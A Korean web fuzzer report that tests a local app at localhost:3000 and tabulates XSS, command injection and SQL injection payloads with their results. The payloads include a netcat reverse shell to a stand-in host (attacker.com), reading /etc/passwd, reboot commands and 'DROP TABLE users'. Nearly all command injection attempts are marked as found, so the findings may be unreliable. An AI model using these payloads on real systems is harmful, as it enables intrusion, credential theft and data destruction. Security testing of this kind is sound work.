웹 퍼저 리포트

2024-10-30 19:25:11

목차

1. 크롤링 결과

2. 폼과 입력 필드

3. 퍼징 시도 및 결과

1. 크롤링 결과

크롤링한 URL
- http://localhost:3000/
- http://localhost:3000/register
- http://localhost:3000/products
- http://localhost:3000/posts/add
- http://localhost:3000
- http://localhost:3000/posts
- http://localhost:3000/login
- http://localhost:3000/products/add

2. 폼과 입력 필드

URL	폼 액션	메소드	입력 필드
http://localhost:3000/posts	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/login	http://localhost:3000/login	POST	username (type: text), password (type: password)
http://localhost:3000/products	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/posts/add	http://localhost:3000/posts/add	POST	title (type: text), content (type: textarea), file (type: file)
http://localhost:3000/register	http://localhost:3000/register	POST	username (type: text), password (type: password), confirmPassword (type: password)
http://localhost:3000/products/add	http://localhost:3000/products/add	POST	name (type: text), description (type: textarea), price (type: number)

3. 퍼징 시도 및 결과

-- 취약점 발견 시도 --

XSS

폼 액션	페이로드	결과
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견

Command Injection

폼 액션	페이로드	결과
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	| nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/products/search	$(reboot)	Command Injection 취약점 발견
http://localhost:3000/products/search	`reboot`	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	| nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/products/search	$(reboot)	Command Injection 취약점 발견
http://localhost:3000/products/search	`reboot`	Command Injection 취약점 발견
http://localhost:3000/login	; ls	Command Injection 취약점 발견
http://localhost:3000/login	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/login	| whoami	Command Injection 취약점 발견
http://localhost:3000/login	| nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/login	$(reboot)	Command Injection 취약점 발견

http://localhost:3000/login	`reboot`	Command Injection 취약점 발견
http://localhost:3000/posts/add	; ls	Command Injection 취약점 발견
http://localhost:3000/posts/add	| whoami	Command Injection 취약점 발견
http://localhost:3000/posts/add	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/posts/add	| nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/posts/add	$(reboot)	Command Injection 취약점 발견
http://localhost:3000/posts/add	`reboot`	Command Injection 취약점 발견
http://localhost:3000/register	; ls	Command Injection 취약점 발견
http://localhost:3000/register	| whoami	Command Injection 취약점 발견
http://localhost:3000/register	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/register	| nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/register	$(reboot)	Command Injection 취약점 발견
http://localhost:3000/register	`reboot`	Command Injection 취약점 발견
http://localhost:3000/products/add	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/add	; ls	Command Injection 취약점 발견
http://localhost:3000/products/add	`reboot`	Command Injection 취약점 발견
http://localhost:3000/products/add	| nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/products/add	&& cat /etc/passwd	Command Injection 취약점 발견

http://localhost:3000/products/add	$(reboot)	Command Injection 취약점 발견

SQL Injection

폼 액션	페이로드	결과
http://localhost:3000/posts/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/posts/add	'; DROP TABLE users; --	SQL Injection 취약점 발견
http://localhost:3000/posts/add	' OR '1'='1' ({	SQL Injection 취약점 발견
http://localhost:3000/posts/add	admin' --	SQL Injection 취약점 발견
http://localhost:3000/posts/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/posts/add	' OR '1'='1' #	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/products/add	'; DROP TABLE users; --	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1' ({	SQL Injection 취약점 발견
http://localhost:3000/products/add	admin' --	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1' #	SQL Injection 취약점 발견

취약점 없는 시도

폼 액션	페이로드	결과
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/login	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/login	' OR '1'='1' ({	취약점 없음
http://localhost:3000/login	' OR '1'='1' #	취약점 없음
http://localhost:3000/login	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/login	'"><script>alert('XSS')</script>	취약점 없음
http://localhost:3000/login	<img src=x onerror=alert('XSS')>	취약점 없음
http://localhost:3000/login	<svg/onload=alert('XSS')>	취약점 없음
http://localhost:3000/login	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음

http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/login	admin' --	취약점 없음
http://localhost:3000/login	' OR '1'='1	취약점 없음
http://localhost:3000/login	' OR '1'='1' /*	취약점 없음
http://localhost:3000/posts/add	'"><script>alert('XSS')</script>	취약점 없음
http://localhost:3000/register	' OR '1'='1	취약점 없음
http://localhost:3000/posts/add	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/posts/add	<svg/onload=alert('XSS')>	취약점 없음
http://localhost:3000/posts/add	<img src=x onerror=alert('XSS')>	취약점 없음
http://localhost:3000/register	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/register	' OR '1'='1' /*	취약점 없음
http://localhost:3000/posts/add	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음
http://localhost:3000/register	' OR '1'='1' ({	취약점 없음
http://localhost:3000/register	admin' --	취약점 없음
http://localhost:3000/register	' OR '1'='1' #	취약점 없음
http://localhost:3000/register	<script>alert('XSS')</script>	취약점 없음

http://localhost:3000/register	'"><script>alert('XSS')</script>	취약점 없음
http://localhost:3000/register	<img src=x onerror=alert('XSS')>	취약점 없음
http://localhost:3000/register	<svg/onload=alert('XSS')>	취약점 없음
http://localhost:3000/register	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음
http://localhost:3000/products/add	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/products/add	'"><script>alert('XSS')</script>	취약점 없음
http://localhost:3000/products/add	<svg/onload=alert('XSS')>	취약점 없음
http://localhost:3000/products/add	<img src=x onerror=alert('XSS')>	취약점 없음
http://localhost:3000/products/add	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음